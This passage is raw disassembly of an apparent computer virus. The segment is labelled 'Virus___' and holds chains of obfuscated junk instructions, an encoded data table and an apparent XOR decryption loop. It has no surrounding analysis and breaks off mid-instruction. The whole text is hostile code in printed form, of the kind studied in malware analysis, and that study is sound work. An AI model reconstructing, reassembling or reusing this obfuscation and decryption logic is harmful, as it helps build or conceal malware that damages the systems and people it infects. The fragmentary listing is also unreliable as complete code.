[esp] push 6521h jmp loc_579BE9 ; --------------------------------------------------------------------------- loc_57E7B0: ; CODE XREF: Virus___:00579C92j and ebx, 3E024251h not ebx neg ebx xor ebx, 0A4996DAAh sub edx, 61E96AB9h add edx, ebx add edx, 61E96AB9h jmp loc_575FB9 ; --------------------------------------------------------------------------- loc_57E7D3: ; CODE XREF: Virus___:005793C7j mov [esp], cx movzx cx, al push cx pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57E7E3: ; CODE XREF: Virus___:00575E58j sub edx, eax pop eax add edx, ecx push esi push ebx mov ebx, 2750DD6h jmp loc_575E36 ; --------------------------------------------------------------------------- loc_57E7F4: ; CODE XREF: Virus___:00575D57j inc edi xor edi, 0F3F1DEEBh xor edx, edi pop edi sub ebx, edx pop edx jmp loc_57A668 ; --------------------------------------------------------------------------- loc_57E806: ; CODE XREF: Virus___:00578CF5j pop esp push edi mov edi, esp jmp loc_57897E ; --------------------------------------------------------------------------- loc_57E80F: ; CODE XREF: Virus___:00574AA7j and eax, ebp pop ebp or edx, eax shl edx, 1 push eax jmp loc_577383 ; --------------------------------------------------------------------------- mov cx, [esp] push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_5782CD ; --------------------------------------------------------------------------- loc_57E831: ; CODE XREF: Virus___:00579874j add esp, 4 push 1DFh mov [esp], edi jmp loc_5737D4 ; --------------------------------------------------------------------------- loc_57E841: ; CODE XREF: Virus___:0057C971j add ebx, 4 xchg ebx, [esp] pop esp add edx, 0C233B1h mov ebp, edx jmp loc_575AD0 ; --------------------------------------------------------------------------- loc_57E858: ; CODE XREF: Virus___:00577487j add ebx, eax add ebx, 301F1880h pop eax push ecx push ebp mov ebp, 28FA2777h add ebp, 435129E2h shr ebp, 4 shl ebp, 3 shl ebp, 3 xor ebp, 93025BAh jmp loc_57438B ; --------------------------------------------------------------------------- loc_57E882: ; CODE XREF: Virus___:0057683Cj push dword ptr [esp+4] mov edx, [esp] jmp loc_575EBD ; --------------------------------------------------------------------------- loc_57E88E: ; CODE XREF: Virus___:00578C81j mov dh, bl mov [eax], dh pop edx pop eax mov ebx, [esp] push esi mov esi, esp push edi mov edi, 4F606977h sub edi, 2C0747D2h neg edi shr edi, 2 and edi, 3A8C02B5h xor edi, 32080290h add esi, edi pop edi add esi, 4 xchg esi, [esp] pop esp jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57E8C9: ; CODE XREF: Virus___:00577192j push 3D84h mov [esp], esi push edi mov edi, 4A0A07DFh push ebp mov ebp, 0C76531A8h jmp loc_574A76 ; --------------------------------------------------------------------------- loc_57E8E2: ; CODE XREF: Virus___:00575034j sub eax, 74E6592Ch xor eax, 0D06D74ACh add ebx, eax pop eax mov [ebx], eax jmp loc_5746EC ; --------------------------------------------------------------------------- loc_57E8F6: ; CODE XREF: Virus___:0057793Ej pop eax push edx mov edx, esp push eax jmp loc_573787 ; --------------------------------------------------------------------------- loc_57E900: ; CODE XREF: Virus___:0057AD88j jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57E905: ; CODE XREF: Virus___:00578F8Fj or eax, 6A765224h sub eax, 1 inc eax xor eax, 0C621A307h jmp loc_57B9F9 ; --------------------------------------------------------------------------- loc_57E91A: ; CODE XREF: Virus___:005773D1j mov ecx, [esp] add esp, 4 push ecx mov ecx, 2 add ebp, ecx jmp loc_57A6C3 ; --------------------------------------------------------------------------- loc_57E930: ; CODE XREF: Virus___:0057B1E0j not ebp xchg ebp, ebx push ecx mov ecx, 5CE056E4h jmp loc_57623E ; --------------------------------------------------------------------------- loc_57E93F: ; CODE XREF: Virus___:00579C36j sub [esp+4], ebp mov ebp, [esp] add esp, 4 pop dword ptr [edi+24h] loc_57E94C: ; CODE XREF: Virus___:005758A3j push 4F99h jmp loc_57464C ; --------------------------------------------------------------------------- loc_57E956: ; CODE XREF: Virus___:0057663Cj mov ebp, 8581941h sub ebp, 0A493F9DFh xchg edi, ebp not edi xchg edi, ebp neg ebp xor ebp, 764807BBh add ebp, 0EA73E72Ch add edi, 57B37EDCh add edi, ebp push esi mov esi, 57B37EDCh sub edi, esi pop esi pop ebp jmp loc_572CEA ; --------------------------------------------------------------------------- loc_57E98C: ; CODE XREF: Virus___:005740FFj sub ebp, 5C847326h mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5793F6 ; --------------------------------------------------------------------------- loc_57E9A6: ; CODE XREF: Virus___:00576CDFj xor bl, ah pop ax dec bl sub bl, 34h add dl, bl mov ebx, [esp] jmp loc_57EE4F ; --------------------------------------------------------------------------- loc_57E9B9: ; CODE XREF: Virus___:0057E634j mov edx, esp add edx, 4 jmp loc_573012 ; --------------------------------------------------------------------------- loc_57E9C6: ; CODE XREF: Virus___:0057C1CAj mov [esp], edi push esp pop edi jmp loc_579A32 ; --------------------------------------------------------------------------- loc_57E9D0: ; CODE XREF: Virus___:0057A02Cj pop ebx neg esi and esi, 2123751h not esi sub esp, 4 mov [esp], ebp mov ebp, 55A61712h xor esi, ebp pop ebp push eax mov eax, 767F02BAh jmp loc_575F2A ; --------------------------------------------------------------------------- loc_57E9F4: ; CODE XREF: Virus___:00577205j mov [esp], edx mov edx, ebx jmp loc_5747AD ; --------------------------------------------------------------------------- loc_57E9FE: ; CODE XREF: Virus___:00574312j or ebp, ecx pop ecx dec ebp sub ebp, 25996F5Bh add eax, ebp jmp loc_578A9A ; --------------------------------------------------------------------------- loc_57EA0F: ; CODE XREF: Virus___:00576DBEj xor edx, [esp] mov esp, [esp] mov [esp], esi not dword ptr [esp] pop esi xor eax, esi xor esi, eax xor eax, esi sub esp, 4 mov [esp], ebp mov ebp, 1 and eax, ebp push dword ptr [esp] pop ebp push 48FFh mov [esp], edx mov edx, esp add edx, 4 push eax mov eax, 4 add edx, eax mov eax, [esp] jmp loc_573319 ; --------------------------------------------------------------------------- loc_57EA56: ; CODE XREF: Virus___:0057BE56j push ebx push 33C5h jmp loc_5740E2 ; --------------------------------------------------------------------------- loc_57EA61: ; CODE XREF: Virus___:00578BB8j neg edi sub edi, 6FB35542h shr edi, 5 jmp loc_57E2AF ; --------------------------------------------------------------------------- loc_57EA71: ; CODE XREF: Virus___:0057564Fj pop esp jmp loc_577710 ; --------------------------------------------------------------------------- loc_57EA77: ; CODE XREF: Virus___:00577684j inc ecx shr ecx, 6 push esi mov esi, 6A5D5B03h dec esi shl esi, 5 or esi, 38CF5149h not esi jmp loc_57741C ; --------------------------------------------------------------------------- loc_57EA92: ; CODE XREF: Virus___:0057A475j pop ebp add esi, 1E6610E1h jmp loc_57E4AB ; --------------------------------------------------------------------------- loc_57EA9E: ; CODE XREF: Virus___:0057DF57j push dword ptr [esp] pop edx add esp, 4 push 6DB6h jmp loc_57EDE6 ; --------------------------------------------------------------------------- loc_57EAAF: ; CODE XREF: Virus___:0057E333j push ebx mov ebx, 4 add edx, ebx mov ebx, [esp] add esp, 4 xchg edx, [esp] pop esp push eax jmp loc_57AEEE ; --------------------------------------------------------------------------- loc_57EACA: ; CODE XREF: Virus___:0057E36Fj add esp, 4 jmp loc_577D2C ; --------------------------------------------------------------------------- loc_57EAD5: ; CODE XREF: Virus___:00573E49j pop cx sub al, 3Eh add al, 3Bh jmp loc_57B66D ; --------------------------------------------------------------------------- loc_57EAE0: ; CODE XREF: Virus___:0057788Bj not esi xor edx, esi jmp loc_57DAF2 ; --------------------------------------------------------------------------- loc_57EAE9: ; CODE XREF: Virus___:005793F9j pop esp xor eax, ebp pop ebp push esi push ebx mov ebx, 61F72739h jmp loc_57A018 ; --------------------------------------------------------------------------- loc_57EAF9: ; CODE XREF: Virus___:0057B96Fj push ecx mov ecx, 4C271835h sub edi, ecx pop ecx add edi, 1 neg edi xor edi, 0CEA5BE2Ch mov edx, edi jmp loc_57E086 ; --------------------------------------------------------------------------- loc_57EB17: ; CODE XREF: Virus___:0057BCD3j add esp, 4 jmp loc_57DB01 ; --------------------------------------------------------------------------- loc_57EB1F: ; CODE XREF: Virus___:0057D013j add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_5751C2 ; --------------------------------------------------------------------------- loc_57EB33: ; CODE XREF: Virus___:00574B0Cj add ecx, 4 jmp loc_57B182 ; --------------------------------------------------------------------------- loc_57EB3E: ; CODE XREF: Virus___:005771D5j push edi jmp loc_5766F5 ; --------------------------------------------------------------------------- dd 4E72CACh, 0B2525152h, 3050B532h, 0F0A9E9D5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57EB56: ; CODE XREF: Virus___:005781E0j not eax sub eax, 0D514AEBEh add edx, eax jmp loc_579866 ; --------------------------------------------------------------------------- loc_57EB64: ; CODE XREF: Virus___:0057C6C2j push eax mov al, 0C6h add al, 5Fh jmp loc_575C90 ; --------------------------------------------------------------------------- loc_57EB6E: ; CODE XREF: Virus___:00574456j add ebp, 99D2F56h pop ebx jmp loc_5765F9 ; --------------------------------------------------------------------------- loc_57EB7A: ; CODE XREF: Virus___:00576C33j mov [esp], cx xor word ptr [esp], 4FFEh pop bp jmp loc_578011 ; --------------------------------------------------------------------------- loc_57EB8B: ; CODE XREF: Virus___:00572F0Bj mov ecx, ebp push ebp push ebx mov ebx, ecx jmp loc_5770D1 ; --------------------------------------------------------------------------- loc_57EB96: ; CODE XREF: Virus___:0057A5E6j mov eax, [esp] add esp, 4 add ebx, ecx jmp loc_578E86 ; --------------------------------------------------------------------------- loc_57EBA3: ; CODE XREF: Virus___:00576D2Fj add esi, 1876FE71h add ebp, esi pop esi add ebp, 5AAD4067h add ebp, 22E6BC80h mov eax, ebp jmp loc_575090 ; --------------------------------------------------------------------------- loc_57EBBF: ; CODE XREF: Virus___:005747E1j mov eax, [esp] push esi mov esi, esp push eax jmp loc_57A214 ; --------------------------------------------------------------------------- loc_57EBCB: ; CODE XREF: Virus___:0057EC17j push dword ptr [esp] pop ebx sub esp, 4 mov [esp], edi push 16D5h mov [esp], esp jmp loc_577401 ; --------------------------------------------------------------------------- loc_57EBE2: ; CODE XREF: Virus___:0057766Bj mov [esp], ecx push esp mov ecx, [esp] jmp loc_57B4F9 ; --------------------------------------------------------------------------- loc_57EBEE: ; CODE XREF: Virus___:00574262j mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 45E1h mov [esp], esi push esp jmp loc_579F3B ; --------------------------------------------------------------------------- loc_57EC0F: ; CODE XREF: Virus___:0057D673j add esp, 4 and eax, ebx jmp loc_57EBCB ; --------------------------------------------------------------------------- loc_57EC1C: ; CODE XREF: Virus___:0057934Fj push cx pushf jmp loc_5763DB ; --------------------------------------------------------------------------- loc_57EC24: ; CODE XREF: Virus___:00574F51j add eax, edi jmp loc_57689A ; --------------------------------------------------------------------------- loc_57EC2B: ; CODE XREF: Virus___:0057E1A7j pop ebp mov eax, [esp] add esp, 4 push edx mov edx, 7B83659Dh shl edx, 8 jmp loc_57787D ; --------------------------------------------------------------------------- loc_57EC40: ; CODE XREF: Virus___:00574FABj push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_574B8C ; --------------------------------------------------------------------------- loc_57EC51: ; CODE XREF: Virus___:00579B57j add esi, 4 push eax push ebp jmp loc_574ACC ; --------------------------------------------------------------------------- loc_57EC5E: ; CODE XREF: Virus___:0057EF7Cj xor edi, ebp jmp loc_57E467 ; --------------------------------------------------------------------------- loc_57EC65: ; CODE XREF: Virus___:0057BB55j sub ecx, ebp pop ebp push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], dx push ax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57EC7E: ; CODE XREF: Virus___:00579492j pop ecx jmp loc_57459D ; --------------------------------------------------------------------------- loc_57EC84: ; CODE XREF: Virus___:005760E4j xor [esp], ecx jmp loc_576BBE ; --------------------------------------------------------------------------- loc_57EC8C: ; CODE XREF: Virus___:005791F7j sub eax, ebx mov ebx, [esp] push edx mov edx, esp push esi mov esi, 664B42D7h push 5682h mov [esp], ebp push ecx jmp loc_57D3DE ; --------------------------------------------------------------------------- loc_57ECA8: ; CODE XREF: Virus___:0057AD1Cj mov eax, [esp] add esp, 4 jmp loc_579A92 ; --------------------------------------------------------------------------- loc_57ECB3: ; CODE XREF: Virus___:0057DE55j mov [esp], ebx push edx push eax jmp loc_574143 ; --------------------------------------------------------------------------- loc_57ECBD: ; CODE XREF: Virus___:00578BA0j pop edx sub esp, 4 mov [esp], edx push eax mov eax, 4E913417h jmp loc_578717 ; --------------------------------------------------------------------------- loc_57ECCF: ; CODE XREF: Virus___:0057A3FAj pop edx pop dword ptr [esp] jmp loc_574385 ; --------------------------------------------------------------------------- loc_57ECD8: ; CODE XREF: Virus___:00573619j and edx, 198804B6h jmp loc_576D3A ; --------------------------------------------------------------------------- loc_57ECE3: ; CODE XREF: Virus___:0057BC9Ej dec edx jmp loc_57BDE1 ; --------------------------------------------------------------------------- loc_57ECE9: ; CODE XREF: Virus___:00576FADj sub [esp+4], edx jmp loc_57C94E ; --------------------------------------------------------------------------- loc_57ECF2: ; CODE XREF: Virus___:00579C6Dj mov ah, bh jmp loc_57E249 ; --------------------------------------------------------------------------- loc_57ECF9: ; CODE XREF: Virus___:0057C7D1j xor [esp], eax jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57ED01: ; CODE XREF: Virus___:00574FCDj push edi mov edi, 67D61B1h sub ebp, edi mov edi, [esp] add esp, 4 push ecx mov ecx, 989C5883h add ebp, ecx jmp loc_57410B ; --------------------------------------------------------------------------- loc_57ED1C: ; CODE XREF: Virus___:00573D09j add ebp, 5C826899h add ebp, edx jmp loc_573D2C ; --------------------------------------------------------------------------- loc_57ED29: ; CODE XREF: Virus___:0057540Aj pop ebx pop edi xor [esp+4], eax pop eax push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push 2AEAh mov [esp], ebp mov ebp, 1DF2439Dh xor eax, ebp mov ebp, [esp] add esp, 4 sub edx, 6F810354h add edx, 1E8051D5h add edx, eax sub edx, 1E8051D5h sub esp, 4 mov [esp], esi mov esi, 65B565EBh push ebp jmp loc_57EFE5 ; --------------------------------------------------------------------------- loc_57ED7C: ; CODE XREF: Virus___:00575900j push ecx mov cl, 34h jmp loc_579396 ; --------------------------------------------------------------------------- loc_57ED84: ; CODE XREF: Virus___:0057D617j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub esp, 2 mov [esp], bx mov bl, 2Ch sub al, 0C9h push edx mov dl, 0EBh sub dl, 90h and dl, 73h push ebx mov bh, 0 dec bh neg bh push ecx mov ch, bh dec ch mov bh, ch pop ecx jmp loc_572F5D ; --------------------------------------------------------------------------- loc_57EDBE: ; CODE XREF: Virus___:0057A2D9j add esp, 4 jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57EDC9: ; CODE XREF: Virus___:0057B940j xor [esp], ebx xor ebx, [esp] jmp loc_5761C0 ; --------------------------------------------------------------------------- loc_57EDD4: ; CODE XREF: Virus___:00572BEAj sub esp, 4 mov [esp], esi push esp push dword ptr [esp] jmp loc_576F63 ; --------------------------------------------------------------------------- loc_57EDE6: ; CODE XREF: Virus___:0057EAAAj mov [esp], ecx push dword ptr [esp+4] jmp loc_57DD1D ; --------------------------------------------------------------------------- loc_57EDF2: ; CODE XREF: Virus___:00579391j push dword ptr [esp] pop ebp jmp loc_57D3A2 ; --------------------------------------------------------------------------- loc_57EDFB: ; CODE XREF: Virus___:00578E90j sub al, dl sub al, 4Ch pop edx sub al, 0Eh add al, bl add al, 0Eh add al, 0C0h add al, 0C9h jmp loc_57754E ; --------------------------------------------------------------------------- loc_57EE0F: ; CODE XREF: Virus___:0057EE7Fj or eax, 7C3C2CC2h xor eax, 7D3F7EDFh jmp loc_57C47A ; --------------------------------------------------------------------------- loc_57EE1E: ; CODE XREF: Virus___:00576FEAj add al, dh jmp loc_5740D2 ; --------------------------------------------------------------------------- loc_57EE25: ; CODE XREF: Virus___:005754CBj add ebx, eax pop eax jmp loc_57888C ; --------------------------------------------------------------------------- loc_57EE2D: ; CODE XREF: Virus___:00578820j add edx, 4 push esi mov esi, 293E7D8Fh shr esi, 4 shr esi, 3 shr esi, 4 add esi, 0FFFAD833h add edx, esi jmp loc_57E174 ; --------------------------------------------------------------------------- loc_57EE4F: ; CODE XREF: Virus___:0057E9B4j add esp, 4 xor al, dl mov dx, [esp] push eax jmp loc_5750DE ; --------------------------------------------------------------------------- loc_57EE61: ; CODE XREF: Virus___:00578D4Bj jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57EE66: ; CODE XREF: Virus___:00577DC8j mov [esp], edx push esp jmp loc_57507B ; --------------------------------------------------------------------------- loc_57EE6F: ; CODE XREF: Virus___:00572CE5j add ch, bh pop ebx add al, ch pop ecx jmp loc_57A9B4 ; --------------------------------------------------------------------------- loc_57EE7A: ; CODE XREF: Virus___:00573782j mov eax, 1D2F5E59h jmp loc_57EE0F ; --------------------------------------------------------------------------- loc_57EE84: ; CODE XREF: Virus___:005771CEj inc edi sub edi, 0FF3FAC53h sub edx, edi push dword ptr [esp] pop edi push ebp mov ebp, esp add ebp, 4 push esi jmp loc_57A883 ; --------------------------------------------------------------------------- loc_57EEA0: ; CODE XREF: Virus___:0057C80Fj push dword ptr [esp] jmp loc_5763B2 ; --------------------------------------------------------------------------- loc_57EEA8: ; CODE XREF: Virus___:005788D6j push eax jmp loc_57C462 ; --------------------------------------------------------------------------- loc_57EEAE: ; CODE XREF: Virus___:005736ACj xchg edi, [esp] jmp loc_57BE70 ; --------------------------------------------------------------------------- loc_57EEB6: ; CODE XREF: Virus___:005784D3j sub cl, 3Fh sub cl, 91h mov eax, [esp] add esp, 4 pop eax xor al, cl mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub esp, 4 jmp loc_579176 ; --------------------------------------------------------------------------- loc_57EEDF: ; CODE XREF: Virus___:00579FCFj add al, 83h add al, 92h add al, bh sub al, 92h push ecx mov cl, 0E8h inc cl jmp loc_57D604 ; --------------------------------------------------------------------------- loc_57EEF1: ; CODE XREF: Virus___:0057699Fj pop dword ptr [esp] mov esp, [esp] mov ax, [esp] jmp loc_5734CB ; --------------------------------------------------------------------------- loc_57EF00: ; CODE XREF: Virus___:005737C7j pop eax sub al, dh mov edx, [esp] add esp, 4 add al, 53h add al, bl sub al, 53h jmp loc_57D6C9 ; --------------------------------------------------------------------------- loc_57EF14: ; CODE XREF: Virus___:00577F14j pop ebp add esp, 4 pop ecx jmp loc_57BC78 ; --------------------------------------------------------------------------- loc_57EF1E: ; CODE XREF: Virus___:00574B5Aj push ecx mov ecx, esp jmp loc_57DD96 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push 3B63h mov [esp], edi mov edi, esp push edx mov edx, 4 jmp loc_57D8CF ; --------------------------------------------------------------------------- loc_57EF3F: ; CODE XREF: Virus___:00574334j add esp, 4 jmp loc_575C18 ; --------------------------------------------------------------------------- loc_57EF4A: ; CODE XREF: Virus___:00578AD8j push eax mov eax, 7A145B75h and eax, 1A554081h not eax add eax, 87D38D6h inc eax dec eax add eax, 2FC3497Fh add ebx, eax pop eax jmp loc_575608 ; --------------------------------------------------------------------------- loc_57EF6B: ; CODE XREF: Virus___:0057D686j pop edi dec edi add edi, 0BF6AB90Bh mov ebp, edi pop edi add ebp, 0D41F107h jmp loc_57EC5E ; --------------------------------------------------------------------------- loc_57EF81: ; CODE XREF: Virus___:00578546j add edx, ecx jmp loc_57BF9B ; --------------------------------------------------------------------------- lodsd push 79FEh mov [esp], edx push esi jmp loc_5784AD ; --------------------------------------------------------------------------- loc_57EF97: ; CODE XREF: Virus___:00573492j add esp, 4 push edx mov edx, 24792CEAh jmp loc_57E351 ; --------------------------------------------------------------------------- loc_57EFA8: ; CODE XREF: Virus___:0057DC7Bj pop ebx mov ecx, [esp] add esp, 4 push ebx jmp loc_576CD6 ; --------------------------------------------------------------------------- loc_57EFB8: ; CODE XREF: Virus___:0057852Bj add esp, 4 add esp, 4 push 0B16h mov [esp], ebp mov ebp, esp add ebp, 4 push eax jmp loc_57CFBA ; --------------------------------------------------------------------------- loc_57EFD4: ; CODE XREF: Virus___:0057C0EBj add esp, 4 push edi mov edi, 439C537Ch jmp loc_574F07 ; --------------------------------------------------------------------------- loc_57EFE5: ; CODE XREF: Virus___:0057ED77j mov ebp, 5CB50CAFh sub ebp, 6D7303h sub ebp, 1 push esi mov esi, 257D6126h shl esi, 5 inc esi not esi shl esi, 1 sub esi, 7D9B3212h xor esi, 2B99A8DDh or ebp, esi jmp loc_574400 ; --------------------------------------------------------------------------- loc_57F014: ; CODE XREF: Virus___:005791E0j mov edi, 0BA04C95h jmp loc_57A76E ; --------------------------------------------------------------------------- loc_57F01E: ; CODE XREF: Virus___:0057D3BFj shr edi, 6 jmp loc_57B140 ; --------------------------------------------------------------------------- loc_57F026: ; CODE XREF: Virus___:005762D5j mov edi, ebx jmp loc_574F24 ; --------------------------------------------------------------------------- loc_57F02D: ; CODE XREF: Virus___:0057875Dj mov [esp], eax sub esp, 4 mov [esp], edx mov dl, 0C6h add dl, 0E0h neg dl jmp loc_57E718 ; --------------------------------------------------------------------------- loc_57F045: ; CODE XREF: Virus___:0057D988j xchg ebx, [esp] pop esp pop ecx sub esp, 4 jmp loc_579D14 ; --------------------------------------------------------------------------- align 4 dd 10h dup(0) dd 5F10A500h, 5EDE6009h, 5EDD8709h, 5E706C09h, 5F85E009h dd 5F7D1509h, 5F280609h, 5ECFCD09h, 5ECE6E09h, 5F474909h dd 5E874F09h, 5E5C6409h, 5F859209h, 5F749809h, 5F804709h dd 5F2CDF09h, 5F0D1809h, 5F812F09h, 5EDBE209h, 5F593B09h dd 5F3D0709h, 5EF5C409h, 5F46E209h, 5F322009h, 5F996809h dd 5ECADF09h, 5F16E209h, 5E745709h, 5EC7D109h, 5F929B09h dd 5E585309h, 5F96ED09h, 5F953E09h, 5EE8F109h, 5F2C0809h dd 5F344009h, 5F02EA09h, 5F36FD09h, 5F042C09h, 5E53FD09h dd 5EB8EE09h, 5E52D109h, 5F586009h, 5E6ABF09h, 5F69C709h dd 5F6CA809h, 5EF39209h, 5EAFEB09h, 5E9E0709h, 5F4B3809h dd 5EB7BD09h, 5F0DE109h, 5EE96209h, 5F31D709h, 5F03B009h dd 5F28C409h, 5EB22109h, 5F31A309h, 5EDE0209h, 5F4EC909h dd 5F5E5109h, 5ED5F509h, 5F65AA09h, 5F5E7E09h, 5F7E3B09h dd 5E98F609h, 5F00EC09h, 5EA01309h, 5F1D6D09h, 5F497A09h dd 5E5C5409h, 5F7E4A09h, 5EF6F009h, 5EB31D09h, 5F148009h dd 5EFBB109h, 5F5EA909h, 5EFDC309h, 5F0A1909h, 5E81D409h dd 5EEAFD09h, 5E6B1409h, 5E6E8309h, 5E650109h, 5E882909h dd 5EC58309h, 5F148909h, 5ECA0409h, 5F7B7F09h, 5F614509h dd 5EE8FF09h, 5F988709h, 5E9E3609h, 5EDBB809h, 5F599309h dd 5EA72909h, 5EAA5F09h, 5F93F009h, 5E899109h, 5EA50A09h dd 5EC63409h, 5F4ADD09h, 5F906809h, 5E930F09h, 5E4B5109h dd 5EA08409h, 5ECE7609h, 5F96A109h, 5F305A09h, 5EE72809h dd 5F944209h, 5F860A09h, 5F445709h, 5E90E009h, 5E4E9E09h dd 5F141209h, 5EA7B409h, 5EBE6009h, 5F156109h, 5F1C1009h dd 5F608809h, 5F4DEA09h, 5F910409h, 5E4EBE09h, 5ED69509h dd 5E65A209h, 5F375609h, 5E717309h, 5F260509h, 5ECB0109h dd 5E909D09h, 5F76BC09h, 5F609809h, 5F748D09h, 5F2F6109h dd 5E50FC09h, 5F5FEF09h, 5F44E409h, 5E579609h, 5EF52209h dd 5E639809h, 5E87B909h, 5E904309h, 5EB67709h, 5F56D909h dd 5F579909h, 5E50BC09h, 5F65D909h, 5EC65509h, 5ECF9E09h dd 5EDF4109h, 5EEE2109h, 5F964A09h, 5F2C8C09h, 5F249009h dd 5F1CCE09h, 5E4D8409h, 5E4ED409h, 5F24E509h, 5ED32E09h dd 5F2F3809h, 5E88D409h, 5E4A8F09h, 5EF73A09h, 5EB02A09h dd 5F392B09h, 5E737709h, 0FC9C6009h, 0E8h, 0EF815F00h dd 95E480Dh, 0C781C78Bh, 95E4525h, 752C473Bh, 8913EB02h dd 0A7B92C47h, 0EB000000h, 8F440105h, 0C90B4940h, 748BF775h dd 0DE8B2424h, 1B9F003h, 33000000h, 0B10FF0C0h, 0F775304Fh ; --------------------------------------------------------------------------- loc_57F37C: ; CODE XREF: Virus___:loc_57F3EFj ; Virus___:0057F4AFj ... lodsb xor al, bl jmp loc_58850F ; --------------------------------------------------------------------------- loc_57F384: ; CODE XREF: Virus___:00592836j add esp, 4 push ecx mov ecx, 24523D66h push 2965h mov [esp], ebp mov ebp, 5E722E20h or ecx, ebp pop ebp sub esp, 4 mov [esp], ebx mov ebx, 0BF9D21B5h add ecx, ebx pop ebx sub ebp, ecx jmp loc_581204 ; --------------------------------------------------------------------------- loc_57F3B2: ; CODE XREF: Virus___:0058F06Aj push 560Ch mov [esp], ebx push 2222h mov [esp], ecx push esp pop ecx add ecx, 4 jmp loc_58986D ; --------------------------------------------------------------------------- loc_57F3CF: ; CODE XREF: Virus___:00591D42j mov [esp], ecx sub esp, 4 mov [esp], esi push ecx mov ecx, 6D5C3D7Bh shr ecx, 4 push ebx mov ebx, 230E49A1h jmp loc_57F92B ; --------------------------------------------------------------------------- loc_57F3EF: ; CODE XREF: Virus___:005930CCj jmp loc_57F37C ; --------------------------------------------------------------------------- loc_57F3F4: ; CODE XREF: Virus___:00587E6Aj sub esp, 4 mov [esp], esp jmp loc_58C4D8 ; --------------------------------------------------------------------------- loc_57F3FF: ; CODE XREF: Virus___:005811A5j sub ebx, 8BD6F3F2h mov eax, ebx pop ebx sub ebp, 4437408Ah add ebp, 2D421915h add ebp, eax sub esp, 4 mov [esp], edi mov edi, 452A6E14h dec edi not edi add edi, 726C8729h add ebp, 1BC672BDh jmp loc_587F23 ; --------------------------------------------------------------------------- loc_57F435: ; CODE XREF: Virus___:00587208j push edx mov dh, 7 neg dh push small 0 sub [esp], dh mov dh, [esp] add esp, 2 jmp loc_58AF27 ; --------------------------------------------------------------------------- loc_57F44C: ; CODE XREF: Virus___:00583D28j mov eax, esi pop esi pop edi and ebp, eax mov eax, [esp] add esp, 4 dec ebp shl ebp, 6 jmp loc_59434D ; --------------------------------------------------------------------------- loc_57F464: ; CODE XREF: Virus___:0058916Ej push esp mov edx, [esp] jmp loc_58B37A ; --------------------------------------------------------------------------- loc_57F46D: ; CODE XREF: Virus___:00593607j add ecx, 4 push 2B85h jmp loc_5892C7 ; --------------------------------------------------------------------------- loc_57F47D: ; CODE XREF: Virus___:0058FACCj neg esi and esi, 452F3D55h sub esi, 4021313Ch mov ecx, esi pop esi add esi, ecx jmp loc_58D70D ; --------------------------------------------------------------------------- loc_57F495: ; CODE XREF: Virus___:00590F09j push esp pop edx add edx, 4 sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], edx jmp loc_57F37C ; --------------------------------------------------------------------------- loc_57F4B4: ; CODE XREF: Virus___:0057F5D7j add edi, 4 jmp loc_58E0C6 ; --------------------------------------------------------------------------- loc_57F4BF: ; CODE XREF: Virus___:0058FDE7j pop eax jmp loc_58CA02 ; --------------------------------------------------------------------------- loc_57F4C5: ; CODE XREF: Virus___:00591965j add ebp, edi jmp loc_59436F ; --------------------------------------------------------------------------- loc_57F4CC: ; CODE XREF: Virus___:005927C4j push ecx push 51925ABh mov ecx, [esp] add esp, 4 jmp loc_58D603 ; --------------------------------------------------------------------------- loc_57F4E0: ; CODE XREF: Virus___:0058018Cj push dword ptr [esp+4] pop edx jmp loc_5942DC ; --------------------------------------------------------------------------- loc_57F4EA: ; CODE XREF: Virus___:0058FA02j mov [esp], edi push esp pop edi add edi, 4 push ecx mov ecx, 2 sub edi, 17682EC7h push eax jmp loc_587941 ; --------------------------------------------------------------------------- loc_57F507: ; CODE XREF: Virus___:005911E6j add esp, 4 movzx eax, al lea eax, [edi+eax*4] push 32EAh mov [esp], ecx push 1A7Bh push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_592143 ; --------------------------------------------------------------------------- loc_57F52D: ; CODE XREF: Virus___:0058B873j shl edx, 1 jmp loc_5828B5 ; --------------------------------------------------------------------------- loc_57F534: ; CODE XREF: Virus___:00587C59j mov eax, [edx] push dword ptr [esp] pop edx add esp, 4 sub esp, 4 mov [esp], esi push 3D84h mov [esp], ecx mov ecx, 0DB450CBh mov esi, 0DB450CCh add esi, 2804506Dh sub esi, ecx push edx mov edx, 2804506Dh sub esi, edx pop edx pop ecx and eax, esi mov esi, [esp] push 0FBAh mov [esp], eax push esi push esp pop esi push edi mov edi, 34BC2E44h jmp loc_590EB3 ; --------------------------------------------------------------------------- loc_57F582: ; CODE XREF: Virus___:0058D23Fj mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_58D00F ; --------------------------------------------------------------------------- loc_57F595: ; CODE XREF: Virus___:00587D79j add dword ptr [esp+4], 1AA01EA1h add [esp+4], ebx sub dword ptr [esp+4], 1AA01EA1h mov ebx, [esp] jmp loc_59016E ; --------------------------------------------------------------------------- loc_57F5B1: ; CODE XREF: Virus___:0058BCB0j pop eax pop ebp sub esi, eax pop eax xchg esi, [esp] pop esp jmp loc_582D43 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] push ebx mov ebx, esp push edx mov edx, 4 add ebx, edx pop edx jmp loc_580E27 ; --------------------------------------------------------------------------- loc_57F5D6: ; CODE XREF: Virus___:005943CDj pop edi jmp 